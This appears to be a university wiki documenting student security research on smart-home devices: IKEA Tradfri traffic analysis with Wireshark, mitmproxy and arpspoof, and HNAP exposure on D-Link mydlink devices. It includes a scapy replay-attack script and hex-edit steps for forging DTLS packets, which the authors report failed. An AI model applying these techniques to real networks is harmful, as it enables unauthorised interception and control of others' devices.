In this screenshot we see the network information like devices, flows, total traffic, total packets of the interface "br0" and much else.
[[File: ntopng_interface.jpeg|800px]]

=== Wireshark ===
Wireshark offers a deeper analysis of the network traffic as ntopng. The program allows recording and analyzing network traffic down to the last bit and can be operated via browser as a special feature of c't-Raspion. The recorded network traffic will be saved in pcap-files.

=== mitmproxy ===
The mitm-Proxy can loop into the communication between the local and remote devices by the c't-Raspion redirecting all access from the internal network on TCP ports 80 and 443 to the mitm-Proxy. It takes the redirected accesses to port
8080 towards. The redirection is handled by firewall rules, which can be activated and deactivated as required by clicking in the c't-Raspion web interface.

There are many options for the search, as you can see in the 2 screenshots below.

[[File: mitmproxy_option.jpeg|800px]]
[[File: mitmproxy_option_search.jpeg|800px]]

Below is a little preview of what you get when you click on "Editing Options Alpha".

[[File: mitmproxy_option_alpha.PNG|800px]]

== Ikea Tradfri Setup Sniff ==
For testing purposes an iphone was cleaned as far as possible. All uninstalable services were erased and synchronization plans were deactivated.
However iphones are not that good for this kind of tests because after all cleaning there were still some connections to apple servers.

To use pihole for capturing the dns queries of the Tradfri Gateway itself you may use an USB networkadapter or an external router as wifi bride. Otherwise you cannot use the Tradfri Gateway due to the lack of connection possibilities. As an workaround outside the Raspion software package classic arpspoofing was used.

Preliminary overview IP addressess:

[[File:ip-config.png|900px]]

Immediately after power on the app is sending dns requests to get ip addresses for fw.ota.homesmart.ikea.net. In the dns answer the ip's to d262cmbxmzphsu.cloudfront.net were included which is an address belonging to amazons aws.

[[File:wireshark-cap1.png|700px]]
[[File:wireshark-cap2.png|700px]]

Also an http get request can be found:
[[File:wireshark-cap-http.png|600px]]

The data from fw.ota.homesmart.ikea.net/feed/version_info.json are not that spectacular. As the name implies it only consists of version information.

As soon as the Ikea Smart Home App starts the setup it tries to find a Tradfri Gateway with mDNS queries.

[[File:wireshark-cap-mDNS.png|550px]]

The mDNS queries are not forwarded through our pihole setup so this technique finding the Tradfri Gateway fails. The app itself provides another way to find the Tradfri Gateway by entering the ip address directly. After submitting the input the app finds the gateway and asks you to scan the QR code on the bottom side of the divce or to enter the security code which can be found near the QR code.

The QR code contains the security code which is used as the pre shared key of the DTLS connection. As soon as the app gets the security code the app and the gateway are initiating the DTLS connection. All applicationdata is send over this encrypted connection.

[[File:wireshark-cap-dtls.png|550px]]

Same implies to connections of additional smart home devices: All data is sent over the encrypted connection.

[[File:wireshark-cap-dtls-snap.png|550px]]

As far as the initial setup goes there are only a few connections to the internet. This connections are all from app to some aws cloud addresses. It seems this is relating to the setup of a new device:

[[File:wireshark-cap-aws.png|550px]]

== Data Transmission when using TRADFRI ==

The IKEA TRADFRI Gateway was connected via LAN cable while the mobile phone running the IKEA app was connected wirelessly to the same network.
Overview of IP addresses used:

[[File:ip_overview_muzik.png|550px]]

Wireshark was used to record the traffic (using arpspoof because the IKEA TRADFRI Gateway requires a LAN connection so it is not possible to just monitor the Raspion WiFi) which was then filtered.

It turns out that TRADFRI is rather well-behaved when it comes to sending data.

For the most part it uses encrypted (DTLS) communication internally between the Gateway and the mobile phone. To initially find the Gateway after opening the mobile app, an MDNS request is sent out via multicast (224.x.x.x).

However, 2 external connections or destinations could also be found:

* IP address 13.227.156.82 / privacypolicy.config.homesmart.ikea.net (as the url indicates, this has the current policy one has to agree to before using the app)
* IP address 13.227.156.50 / supportdetails.config.homesmart.ikea.net (this is where the secure certificates are located, apparently).

=== Wireshark caps ===
privacypolicy.config.homesmart.ikea.net Client Hello:

[[File:Ikea-privacy policy-clientHello.png|700px]]

supportdetails.config.homesmart.ikea.net ServerHello:

[[File:Ikea-supportdetails-serverHello.png|700px]]

=== Certificate Information ===
The Server Hello contains the information regarding the .cer and .crl:
http://ocsp.rootca1.amazontrust.com
http://crt.rootca1.amazontrust.com/rootca1.cer
http://crl.rootca1.amazontrust.com/rootca1.crl
Starfield Technologies, Inc.; Starfield Services Root Certificate Authority

Also:
http://crl.sca1b.amazontrust.com/sca1b.crl
http://ocsp.sca1b.amazontrust.com
http://crt.sca1b.amazontrust.com/sca1b.crt

That's pretty much it. We couldn't find any unwanted connections.

The app also checks for updates for the used devices, this is also indicated in the app when it happens, so this is very transparent. It is indicated in the app when an update is happening or when the app is checking for new updates as can be seen in the screenshot below. If a device happens to be unavailable, e.g. because it is currently disconnected/turned off, then the app does not report back the current version but instead says the device is unreachable ('Nicht erreichbar')

[[File:Ikea-tradfri-update.png|360px]]

=== Turning devices on/off ===
When devices are turned on or off, the individual packet sequences are made up of packets that are the same in size but with some devices there are more packets sent when turning on than off. Let me illustrate this by comparing the on/off sequences of the light bulb (pretty much the same for on/off, although of course different packet content):

Light Bulb ON<br>
[[File:Ikea-gluehbirne_ein.png|700px]]

Light Bulb OFF<br>
[[File:Ikea-gluehbirne_aus.png|700px]]

As opposed to the smart plug where the on sequence is longer than the off sequence:

Smart Plug ON<br>
[[File:Ikea-strom ein.png|700px]]

Smart Plug OFF<br>
[[File:Ikea-strom aus.png|700px]]

(these were done using arpspoof on 192.168.0.106, 192.168.0.101 is the Internet Gateway, 192.168.0.104 is the TRADFRI Gateway, commands were sent via 192.168.0.103 - so keep in mind that you see duplicates of each packet in the Wireshark caps because they include the sniff and forward to the actual target device)

== Interrupt Communication ==
This experiment will show if it is possible to interrupt or sniff the communication between the IKEA and the IKEA gateway. This is not possible with only a packet sniffer like Wireshark, because the communication is encrypted with DTLS. Two attacks were performed, a mitm proxy attack and a replay attack. For the mitm attack the mitm proxy from the c’t Raspion was used and for the replay attack a scapy script. The network structure is as follows:

IP overview:

[[File:mitm_findings.png|700px]]

=== Structure ===
[[File:mitm-top.png|800px]]

Android can be operated as a virtual machine, or you can also use a smart phone that has the IKEA Smarthome app installed. If it is operated as a virtual machine, make sure that bridge mode is used, since the VM will then have its own IP. This has the advantage that you only have to analyze the traffic generated by Android and not that of the host system.

In order to be able to use the mitm, certificates must be added to the key store on the android os. This can be done by opening the website mitm.it in the browser of android. If you are in the right network, you will see the following window.

[[File:mitmproxy-cert.png|800px]]

Here you choose the right operating system and download the certificates.

The official documentation can be found here[https://docs.mitmproxy.org/stable/concepts-certificates/#quick-setup].

=== MitM Proxy ===
When you start the app in Wireshark you can see that the handshake for the DTLS connection is being carried out.

[[File:wireshark-dtls.png]]

You can also observe that there are several connections to different servers outside the network.

[[File:wireshark-tls.png]]

The following messages can be decrypted.

[[File:mitm-sniff.png]]

Both include a JSON-file.

[[File:Json-file-mitm.jpg]]

* In the debug log, you can observe that there are additional TLS connections, but the mitm proxy couldn’t decrypt these.

192.168.24.241:59332: Client Handshake failed. The client may not trust the proxy's certificate for data.logentries.com.
192.168.24.241:59332: ClientHandshakeException('Cannot establish TLS with client (sni: data.logentries.com): TlsException("(-1, \'Unexpected EOF\')")')
::ffff:192.168.24.241:58971: serverdisconnect
-> ('99.86.243.4', 443)
192.168.24.241:59332: clientdisconnect
::ffff:192.168.24.241:40204: serverdisconnect
-> ('99.86.243.50', 443)
192.168.24.241:58971: clientdisconnect
192.168.24.241:40204: clientdisconnect
192.168.24.241:41657: clientconnect
::ffff:192.168.24.241:41657: Establish TLS with client
192.168.24.241:50453: clientconnect
::ffff:192.168.24.241:50453: serverconnect
-> ('99.86.243.36', 443)
192.168.24.241:42222: clientconnect
::ffff:192.168.24.241:42222: serverconnect
-> ('99.86.243.4', 443)
::ffff:192.168.24.241:42222: Establish TLS with server
::ffff:192.168.24.241:50453: Establish TLS with server
::ffff:192.168.24.241:42222: ALPN selected by server: -
::ffff:192.168.24.241:42222: Establish TLS with client
::ffff:192.168.24.241:50453: ALPN selected by server: -
::ffff:192.168.24.241:50453: Establish TLS with client
::ffff:192.168.24.241:42222: ALPN for client: b'http/1.1'
::ffff:192.168.24.241:50453: ALPN for client: b'http/1.1'
::ffff:192.168.24.241:50453: request
-> Request(GET /US/en/getPolicyUpdate/?deviceType=android)
::ffff:192.168.24.241:42222: request
-> Request(GET /AppDetails)
::ffff:192.168.24.241:42222: response
-> Response(200 OK, application/json, 44b)
::ffff:192.168.24.241:50453: response
-> Response(200 OK, application/json, 374b)

The DTLS connection between the app and the gateway, however, does not appear in the mitm log.

=== Replay-Attack ===
In order to be able to carry out a replay attack, the data traffic between the device on which the IKEA app is running and the IKEA gateway must be recorded. Every time you close the app and open it again, a new transmission must be recorded. This is because this is a new session, so the IKEA Gateway and the App have a new shared secret. Then the SRC and DST in IP and MAC have to be adjusted accordingly. In this particular example, a sequence number is available in the DTLS protocol. This must also be adjusted so that it is preliminary. Since the payload is also included in the UDP checksum, it must be recalculated too. This attack was performed on the TKEA Gateway, where a socket was connected to. In the socket was light plugged in to see what's happening.

[[File:replay-attack.png]]

As you can see, the attack is unsuccessful because no response is sent from the gateway, which is likely to drop the packets.

This may be because DTLS also uses MAC (message authentication code). The sequence number is used to calculate the MAC value. Unfortunately, this value cannot be recalculated without knowing the encryption.

=== Change Sequence Number ===
To change the sequence number, we used a workaround in Wireshark. In Wireshark you can select multiple Packets and then copy them as hex dump.

[[File:Wireshark-save-hexdump.png|700px]]

0000 dc a6 32 7d 1d 37 c0 ee fb 4a 9b b5 08 00 45 00
0010 00 69 57 0a 40 00 40 11 47 f6 c0 a8 18 f1 c0 a8
0020 01 42 a4 1a 16 34 00 55 ff 2e 17 fe fd 00 01 00
0030 00 00 00 00 34 00 40 00 00 00 00 00 00 00 16 21
0040 39 8a 8a c5 dd c3 3d 67 ba de a5 5f 0a 10 8c e2
0050 75 da ca a1 db ae a2 08 c6 e6 a6 94 32 db d0 cd
0060 d1 63 e6 bd 32 db 2f 14 1a a1 08 be e9 ac ff 43
0070 48 1b 54 a9 f9 f7 4f

After you have copied the packet you can put it into a texteditor and edit the part of the packet you want. In our case we changed the 00 00 00 00 00 34 in line 0020 and 0030 to the appropriate sequence number. We found out that after each full communication the number raised by four. So, when the last recorded sequence number was 48 the next one is 52 and then 56 and so on. This is the decimal number you have to convert it so hex and change it in the text editor and save it.

In wireshark it is possible to import packets from a textfile with hexdump in it.

[[File:Wireshark-import-hexdump1.png]]

[[File:Wireshark-import-hexdump2.png]]

After you have imported the hexdump save the file as pcap file.

In order to send the packets, edit the marked parts in the python script.

#! /usr/bin/python3
from scapy.all import *
from scapy.utils import rdpcap
import time

pkts=rdpcap("path of the pcap file") # reads the pcap file and saves the list in the pkts var

# iterates through the list
for pkt in pkts:
pkt[Ether].src = "'''sender mac'''" # MAC of the sender
pkt[Ether].dst= "'''target mac'''" # MAC of the target

pkt[IP].src= "'''sender ip'''" # IP of the sender
pkt[IP].dst = "'''target ip'''" # IP of the target

del pkt.chksum # deletes the current checksum in the IP header
del pkt[UDP].chksum # deletes the checksum in UDP header
pkt = pkt.__class__(bytes(pkt)) # scapy builds the packet new and calculates the missing checksums new

sendp(pkt) # sending packet
time.sleep(2)

After that the script can be executed.

[[Category:Documentation]]

Examination of mydlink™ home devices

2024-03-12T17:43:00Z

Ikramer:

<div style="max-width: 970px">

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: lightgrey; background-color: white; overflow:auto;">
<div style="font-weight: normal;line-height:1.6;">ⓘ Table of Contents</div>
<div class="mw-collapsible-content">
__TOC__
</div>
</div>

<h1>Summary</h1>
[[File:Mydlink home smarthome.jpg|300px|right|thumb|mydlink home: Smarthome]]
<p style="text-align: justify">Smart home devices are gaining popularity with the rise of Internet of Things (IoT) technology. With the increasing popularity of IoT technology, smart home devices have become prominent. Since those devices can be controlled and programmed remotely as a feature, the manufacturers focus on advertising the usability, the “intelligence” and the efficiency of such tools, but the security and trustworthiness of these gadgets is still questioned, in order to deserve to play a central role in modern households. This project introduces two devices of the mydlink™ home product lineup, [[D-LINK® DCH-G020 Gateway Connected Home Hub|D-Link® DCH-G020 Gateway Connected Home Hub]] and [[:D-Link® DCH-S150 Home Wi-Fi Motion Sensor, Bewegungssensor|D-Link® DCH-S150 Home Wi-Fi Motion Sensor]].</p>

<p style="text-align: justify">The devices in question are particularly prone to attacks through Home Network Administration Protocol (HNAP), a proprietary network protocol, which has been deprecated because of vulnerabilities to HNAP authentication. Unfortunately, HNAP is still used in some smart home devices and the exploits can cause great harm. Future work will show whether these observations are applicable to all devices in the product range. It is also planned to analyze the firmware of other devices of this [https://eu.mydlink.com/content/productfamily product family]. <sup>[ftp://ftp.dlink.de/dch/]</sup></p>

<h1 style="text-align: justify">Background Information</h1>
<h2>D-Link<sup>®</sup> DCH-G020: Gateway Connected Home Hub</h2>
<p>D-Link states the product is no longer available for purchase, but it is still supported. The intended use-case is that it acts as a link between a pre-existing home network and one or more mydlink™ home Z-Wave and Wi-Fi devices. Customers are instructed to connect the hub to the Internet router and download the mydlink™ home app to their smartphones. The app is required and there is no other possibility to setup the device. After the initial setup one can manage the device through the app by setting up rules which are applied following different actions, e.g. sending out a notification after a motion sensor is triggered. In this inspection the hub was used as a link between the home network and a motion sensor.</p>

<h2>D-Link<sup>®</sup> DCH-S150: Home Wi-Fi Motion Sensor</h2>
<p style="text-align: justify">This product is also no longer available for purchase, but still supported. The setup process works similar as with the hub. One is instructed to setup and manage the device via the app. The connection to the home network is made possible via Wi-Fi Protected Setup (WPS), which is network security standard which allows to create a new network or to add devices to an existing network without entering the default Wifi password (e.g WPA2-PSK). These features also allow home users who have little knowledge of wireless networks to bypass considering and handling security options. To make use of the automated integration one must push the WPS-button on the access point as well as the client device. Shortly after the devices enter a discovery mode, which disables itself after a connection is made. The intended use-case for the motion sensor is to receive push-notifications via the app on a smart phone whenever motion is detected, or to combine it with other smart devices to enable automation, such as switching on the light when returning home.</p>

<h2>Uninvestigated devices</h2>
<div class="toccolours mw-collapsible mw-collapsed" style="background-color: white; calc(100% - 12px); overflow:auto;">
<div style="line-height:1.6;">Additional potentially vulnerable devices from the mydlink™ Home product line</div>
<div class="mw-collapsible-content">
<hr>
<b>D-Link<sup>®</sup> DCH-S160: Home Wi-Fi Water Sensor</b>
<p style="text-align: justify">Wherever you are, be alerted when a leak is detected in your home with the mydlink™ Home Water Sensor. It’s easy to setup, connects to your home Wi-Fi and can help you detect water leaks before serious flooding occurs.</p>
<hr>
<b>D-Link<sup>®</sup> DCH-S220: Home Wi-Fi Siren</b>
<p style="text-align: justify">The mydlink™ Home Siren is a smart audio warning device with 6 different sounds built-in. It’s easy to setup, connects to your home Wi-Fi and provides instant audio alerts. It works with other mydlink Home sensors, such as the Motion Sensors, Door & Window Sensor and Monitors, to provide a loud audio warning when motion/sound is detected or a door is opened. Whether you are at home or away, push notifications will alert you whenever the Siren is activated. mydlink Home enables you to create a smart home without complicated set up, installation costs or monthly subscription charges.<p>
<hr>
<b>D-Link<sup>®</sup> DCH-Z110: Home Door/Window Sensor</b>
<p style="text-align: justify">The mydlink™ Home Door/Window Sensor is a contact sensor that detects when a door or window is opened or closed, providing you with a trigger for automating your home. Integrating with D-Link’s HNAP protocol, the Door/Window Sensor connects seamlessly with your the connected home hub, guaranteeing compatibility and getting your smart home network up and running right away.</p>
<hr>
<b>D-Link<sup>®</sup> DCH-Z120: Home Battery Motion Sensor</b>
<p style="text-align: justify">The mydlink™ Home Motion Sensordetects motion within its field of view, providing you with a trigger for automating your home. Integrating with D-Link’s HNAP protocol, the Motion Sensor connects seamlessly with your Connected Home Hub, guaranteeing compatibility and getting your smart home network up and running right away.</p>
<hr>
<b>D-Link<sup>®</sup> DCH-Z310: Home Smoke Detector</b>
<p style="text-align: justify">Protect your home and loved ones with the mydlink™ Home Smoke Detector. A built-in audio alarm alerts you whenever smoke is detected and sends a push notification to your smartphone or tablet when you’re away from home. mydlink Home enables you to create a smart home without complicated set up, installation costs or monthly subscription charges.</p>
<hr>
<b>D-Link<sup>®</sup> DCH-Z510: Home Siren with optional battery back-up</b>
<p style="text-align: justify">The mydlink Home Siren is a smart audio warning device with 6 different sounds built-in. It’s easy to set up and manage with the mydlink Home app, and connects to your router via the mydlink Home - Connected Home Hub.</p>
<hr>
<b>D-Link<sup>®</sup> DCS-935L: Home Monitor HD</b>
<p style="text-align: justify">The mydlink™ Home Monitor HD allows you to monitor your home, whenever, from wherever. See everything in full colour high definition 720p with sound. The built-in night vision allows you to see up to 5 metres even in complete darkness. It’s easy to setup, connects to your home Wi-Fi and can even alert you when motion or sound is detected. What’s more, it works with other mydlink™ Home smart devices to enable you to create a smart home without complicated setup, installation cost or monthly subscription</p>
<hr>
<b>D-Link<sup>®</sup> DCS-5010L: Home Monitor 360</b>
<p style="text-align: justify">The mydlink™ Home Monitor 360 allows you to monitor your home, whenever, from wherever. Not only does it pan and tilt to cover wider areas, the built-in night vision allows you to see up to 8 metres even in complete darkness. It’s easy to setup, connects to your home Wi-Fi and can even alert you when motion is detected. What’s more, it works with other mydlink™ Home smart devices to enable you to create a smart home without complicated setup, installation cost or monthly subscription charges.</p>

</div>
</div>

<h2>Home Network Administration Protocol (HNAP)</h2>
<p style="text-align: justify">On the myDLink product website one can find the following information: “<i>Integrated with D-Link’s HNAP protocol, this secure, high performing Hub is perfect for all of your mydlink™ Home devices</i>”<sup>[https://eu.dlink.com/uk/en/products/dch-g020-mydlink-connected-home-hub]</sup>. Since proprietary HNAP is a relatively unknown protocol, this project first introduces HNAP and discusses its development and characteristics. The patent application for HNAP was filed in 2007 by company called Pure Networks, Inc.<sup>[http://www.freepatentsonline.com/y2007/0130286.html]</sup>, which at that time provided networking software and services to home networking, small businesses, original equipment manufacturers, and broadband and Internet service providers. In 2008, Cisco bought Pure Networks, Inc. and therefore acquired HNAP and integrated it in a software product called Network Magic <sup>[https://www.cisco.com/web/partners/downloads/guest/hnap_protocol_whitepaper.pdf]</sup>.</p>

<p style="text-align: justify">HNAP is a network device management protocol, that allows network devices to be silently managed and administered. HNAP is based on SOAP. Before SOAP Version 1.2, SOAP was the abbreviation for Simple Object Access Protocol. Since Version 1.2 that acronym was removed, because it was misleading. SOAP isn’t exclusively used for accessing objects, and the access per se cannot be described as “simple” or “easy”. Meanwhile SOAP stands for itself, an Extensible Markup Language (XML)-based protocol used for communication between distributed applications. HNAP was designed to be a simple, light weight protocol that is easy to implement inside of small cost-constrained hardware such as the devices used in this examination. Cisco promised three high level benefits to vendors for implementing HNAP in a network device <sup>[https://www.cisco.com/web/partners/downloads/guest/hnap_protocol_whitepaper.pdf]</sup>:</p>
<ol>
<li><u>Accurate topology discovery</u>: A network device can accurately describe itself to applications that support HNAP and show detailed information about the device.</li>
<li><u>Custom task extensibility</u>: For example, when a device with HNAP support is selected in an application, tasks related to that device can be displayed.</li>
<li><u>Programmable API</u>: The full programmable API suite allows devices’ network connections to be remotely managed and administered.</li>
</ol>
<p style="text-align: justify">The participants in any HNAP interaction define the two roles – an HNAP server and an HNAP client. HNAP servers are typically implemented inside of networking devices to be managed. HNAP clients are usually software applications residing on PCs or other devices that can interact with an HNAP server in order to manage it, and ultimately, the device. <sup>[https://www.cisco.com/web/partners/downloads/guest/hnap_protocol_whitepaper.pdf]</sup> In the case of the myDLink product family, the smartphone app takes a client role, while the [[D-LINK® DCH-G020 Gateway Connected Home Hub|DCH-G020 Home Hub]] takes both roles. A typical client server interaction begins when a client has discovered an HNAP server on a network. It issues an HNAP discovery command in order to determine the capabilities of the device. A client then proceeds to make one or more HNAP requests to the server, which performs the desired action and returns the response.</p>

<p style="text-align: justify">One can simply query all supported HNAP actions from a device by requesting the URL http://$DEVICE_IP/HNAP1/ from a web client. Since HNAP is encapsulated in HTTP, it is also the best way to determine if a device is HNAP-enabled since such devices need to reply to this request. In case of the [[:D-Link® DCH-S150 Home Wi-Fi Motion Sensor, Bewegungssensor|DCH-S150 Motion Sensor]] the output of that link is listed below. There may be more or less SOAPactions available depending on the devices' configuration.</p>

<div class="toccolours mw-collapsible mw-collapsed" style="background-color: white; calc(100% - 12px); overflow:auto;">
<div style="font-weight:bold;line-height:1.6;">ⓘ <nowiki>http://DCH-S150/HNAP1/</nowiki></div>
<div class="mw-collapsible-content">
<div style="font-size: 12px !important">
<syntaxhighlight lang="xml">
<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetDeviceSettingsResponse xmlns="http://purenetworks.com/HNAP1/">
<GetDeviceSettingsResult>OK</GetDeviceSettingsResult>
<Type>ConnectedHomeClient</Type>
<DeviceName>MotionSensorDLink</DeviceName>
<VendorName>D-Link</VendorName>
<ModelDescription>D-Link Motion Detector</ModelDescription>
<ModelName>DCH-S150</ModelName>
<DeviceMacId>C4:12:F5:1C:8E:4C</DeviceMacId>
<FirmwareVersion>1.23</FirmwareVersion>
<FirmwareRegion>Default</FirmwareRegion>
<LatestFirmwareVersion/>
<HardwareVersion>A1</HardwareVersion>
<HNAPVersion>0124</HNAPVersion>
<PresentationURL>http://dch.local</PresentationURL>
<CAPTCHA></nowiki><b style="color: lightblue">false</b><nowiki></CAPTCHA>
<ModuleTypes>
<string>Motion Sensor</string>
</ModuleTypes>
<SOAPActions>
<string>http://purenetworks.com/HNAP1/Reboot</string>
<string>http://purenetworks.com/HNAP1/SetFactoryDefault</string>
<string>http://purenetworks.com/HNAP1/IsDeviceReady</string>
<string>http://purenetworks.com/HNAP1/GetDeviceSettings</string>
<string>http://purenetworks.com/HNAP1/SetDeviceSettings</string>
<string>http://purenetworks.com/HNAP1/GetDeviceSettings2</string>
<string>http://purenetworks.com/HNAP1/SetDeviceSettings2</string>
<string>http://purenetworks.com/HNAP1/GetGroupSettings</string>
<string>http://purenetworks.com/HNAP1/SetGroupSettings</string>
<string>http://purenetworks.com/HNAP1/GetSystemLogs</string>
<string>http://purenetworks.com/HNAP1/CleanSystemLogs</string>
<string>http://purenetworks.com/HNAP1/GetModuleSchedule</string>
<string>http://purenetworks.com/HNAP1/SetModuleSchedule</string>
<string>http://purenetworks.com/HNAP1/GetModuleEnabled</string>
<string>http://purenetworks.com/HNAP1/SetModuleEnabled</string>
<string>http://purenetworks.com/HNAP1/GetModuleProfile</string>
<string>http://purenetworks.com/HNAP1/SetModuleProfile</string>
<string>http://purenetworks.com/HNAP1/GetModuleSOAPActions</string>
<string>http://purenetworks.com/HNAP1/GetTimeSettings</string>
<string>http://purenetworks.com/HNAP1/SetTimeSettings</string>
<string>http://purenetworks.com/HNAP1/GetModuleGroup</string>
<string>http://purenetworks.com/HNAP1/SetModuleGroup</string>
<string>http://purenetworks.com/HNAP1/GetScheduleSettings</string>
<string>http://purenetworks.com/HNAP1/SetScheduleSettings</string>
<string>http://purenetworks.com/HNAP1/GetRecursiveSchedule</string>
<string>http://purenetworks.com/HNAP1/SetRecursiveSchedule</string>
<string>http://purenetworks.com/HNAP1/GetFirmwareStatus</string>
<string>http://purenetworks.com/HNAP1/GetFirmwareValidation</string>
<string>http://purenetworks.com/HNAP1/StartFirmwareDownload</string>
<string>http://purenetworks.com/HNAP1/PollingFirmwareDownload</string>
<string>http://purenetworks.com/HNAP1/CheckNewFirmware</string>
<string>http://purenetworks.com/HNAP1/SettriggerADIC</string>
<string>http://purenetworks.com/HNAP1/GetInternetSettings</string>
<string>http://purenetworks.com/HNAP1/GetCurrentInternetStatus</string>
<string>http://purenetworks.com/HNAP1/GetWLanRadios</string>
<string>http://purenetworks.com/HNAP1/SetTriggerWirelessSiteSurvey</string>
<string>http://purenetworks.com/HNAP1/GetSiteSurvey</string>
<string>http://purenetworks.com/HNAP1/SetAPClientSettings</string>
<string>http://purenetworks.com/HNAP1/GetAPClientSettings</string>
</SOAPActions>
<SubDeviceURLs/>
</GetDeviceSettingsResponse>
</soap:Body>
</soap:Envelope>
</syntaxhighlight></div>
</div>
</div>

<div class="toccolours mw-collapsible mw-collapsed" style="background-color: white; calc(100% - 12px); overflow:auto;">
<div style="font-weight:bold;line-height:1.6;">ⓘ <nowiki>http://DCH-G020/HNAP1/</nowiki></div>
<div class="mw-collapsible-content">
<div style="font-size: 12px !important">
<syntaxhighlight lang="xml">
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetDeviceSettingsResponse xmlns="http://purenetworks.com/HNAP1/">
<GetDeviceSettingsResult>OK</GetDeviceSettingsResult>
<Type>ConnectedHomeClient</Type>
<DeviceName>DCH-G020</DeviceName>
<VendorName>D-Link</VendorName>
<ModelDescription>D-Link ConnectedHome Gateway</ModelDescription>
<ModelName>DCH-G020</ModelName>
<DeviceMacId>C4:12:F5:1A:58:F4</DeviceMacId>
<FirmwareVersion>1.25</FirmwareVersion>
<FirmwareRegion>Default</FirmwareRegion>
<LatestFirmwareVersion/>
<HardwareVersion>A1</HardwareVersion>
<HNAPVersion>0124</HNAPVersion>
<PresentationURL>http://dchg.local</PresentationURL>
<CAPTCHA>false</CAPTCHA>
<ModuleTypes>
<string>Gateway</string>
</ModuleTypes>
<SOAPActions>
<string>http://purenetworks.com/HNAP1/Reboot</string>
<string>http://purenetworks.com/HNAP1/SetFactoryDefault</string>
<string>http://purenetworks.com/HNAP1/IsDeviceReady</string>
<string>http://purenetworks.com/HNAP1/GetDeviceSettings</string>
<string>http://purenetworks.com/HNAP1/SetDeviceSettings</string>
<string>http://purenetworks.com/HNAP1/GetDeviceSettings2</string>
<string>http://purenetworks.com/HNAP1/SetDeviceSettings2</string>
<string>http://purenetworks.com/HNAP1/GetGroupSettings</string>
<string>http://purenetworks.com/HNAP1/SetGroupSettings</string>
<string>http://purenetworks.com/HNAP1/GetSystemLogs</string>
<string>http://purenetworks.com/HNAP1/CleanSystemLogs</string>
<string>http://purenetworks.com/HNAP1/GetModuleSchedule</string>
<string>http://purenetworks.com/HNAP1/SetModuleSchedule</string>
<string>http://purenetworks.com/HNAP1/GetModuleEnabled</string>
<string>http://purenetworks.com/HNAP1/SetModuleEnabled</string>
<string>http://purenetworks.com/HNAP1/GetModuleProfile</string>
<string>http://purenetworks.com/HNAP1/SetModuleProfile</string>
<string>http://purenetworks.com/HNAP1/GetModuleSOAPActions</string>
<string>http://purenetworks.com/HNAP1/GetTimeSettings</string>
<string>http://purenetworks.com/HNAP1/SetTimeSettings</string>
<string>http://purenetworks.com/HNAP1/GetModuleGroup</string>
<string>http://purenetworks.com/HNAP1/SetModuleGroup</string>
<string>http://purenetworks.com/HNAP1/GetScheduleSettings</string>
<string>http://purenetworks.com/HNAP1/SetScheduleSettings</string>
<string>http://purenetworks.com/HNAP1/GetRecursiveSchedule</string>
<string>http://purenetworks.com/HNAP1/SetRecursiveSchedule</string>
<string>http://purenetworks.com/HNAP1/GetFirmwareStatus</string>
<string>http://purenetworks.com/HNAP1/GetFirmwareValidation</string>
<string>http://purenetworks.com/HNAP1/StartFirmwareDownload</string>
<string>http://purenetworks.com/HNAP1/PollingFirmwareDownload</string>
<string>http://purenetworks.com/HNAP1/CheckNewFirmware</string>
<string>http://purenetworks.com/HNAP1/SettriggerADIC</string>
<string>http://purenetworks.com/HNAP1/GetInternetSettings</string>
<string>http://purenetworks.com/HNAP1/GetCurrentInternetStatus</string>
<string>http://purenetworks.com/HNAP1/GetWLanRadios</string>
<string>http://purenetworks.com/HNAP1/GetWLanRadioSettings</string>
<string>http://purenetworks.com/HNAP1/SetWLanRadioSettings</string>
<string>http://purenetworks.com/HNAP1/GetWLanRadioSecurity</string>
<string>http://purenetworks.com/HNAP1/SetWLanRadioSecurity</string>
</SOAPActions>
<SubDeviceURLs/>
</GetDeviceSettingsResponse>
</soap:Body>
</soap:Envelope>

</syntaxhighlight></div>
</div>
</div>

<p style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px;"><b>Note</b>: Network Magic was discontinued in 2012, because HNAP was abused on several occasions. It was possible to learn technical details of a device through HNAP, therefore exposing its vulnerable points for malicious attacks. <sup>[https://web.archive.org/web/20131226002253/http://www.sourcesec.com/2010/01/][https://regmedia.co.uk/2016/11/07/dlink_hnap_captcha.pdf][http://www.devttys0.com/2014/05/hacking-the-d-link-dsp-w215-smart-plug/][http://www.devttys0.com/2015/04/hacking-the-d-link-dir-890l/]</sup></p>

<h1>Examination</h1>

<h2>Summary</h2>

<div class="toccolours mw-collapsible mw-collapsed" style="background-color: white; calc(100% - 12px); overflow:auto;">
<div style="line-height:1.6;">ⓘ Collected Information</div>
<div class="mw-collapsible-content">
<div style="font-size: 12px !important">
<table class="wikitable">
<tr style="background-color: grey; font-weight: bold; border-color: black">
<td style="border-color: black">Device Model</td>
<td style="border-color: black">DCH-G020</td>
<td style="border-color: black">DCH-S150</td>
</tr>
<tr>
<td style="background-color: darkgrey; border-color: black">Manufacturer</td>
<td style="background-color: white;border-color: black">D-Link</td>
<td style="background-color: white;border-color: black">D-Link</td>
</tr>
<tr>
<td style="background-color: darkgrey;border-color: black">Product Type</td>
<td style="background-color: white;border-color: black">Smart Hub</td>
<td style="background-color: white;border-color: black">Motion Sensor</td>
</tr>
<tr>
<td style="background-color: darkgrey;border-color: black">Description</td>
<td style="background-color: white;border-color: black">mydlink<sup>TM</sup> Home Connected Hub</td>
<td style="background-color: white;border-color: black">mydlink<sup>TM</sup> Home Wi-Fi Motion Sensor</td>
</tr>
<tr>
<td style="background-color: darkgrey;border-color: black">Price on Release</td>
<td style="background-color: white;border-color: black">90 Euro</td>
<td style="background-color: white;border-color: black">40 Euro</td>
</tr>
<tr>
<td style="background-color: darkgrey;border-color: black">Release</td>
<td style="background-color: white;border-color: black">2015 Q2 (Discontinued but supported)</td>
<td style="background-color: white;border-color: black">2014 Q3 (Discontinued but supported)</td>
</tr>
</tr>
<tr style="line-height: 15px">
<td style="background-color: white; border: none"></td>
<td style="background-color: white; border: none"></td>
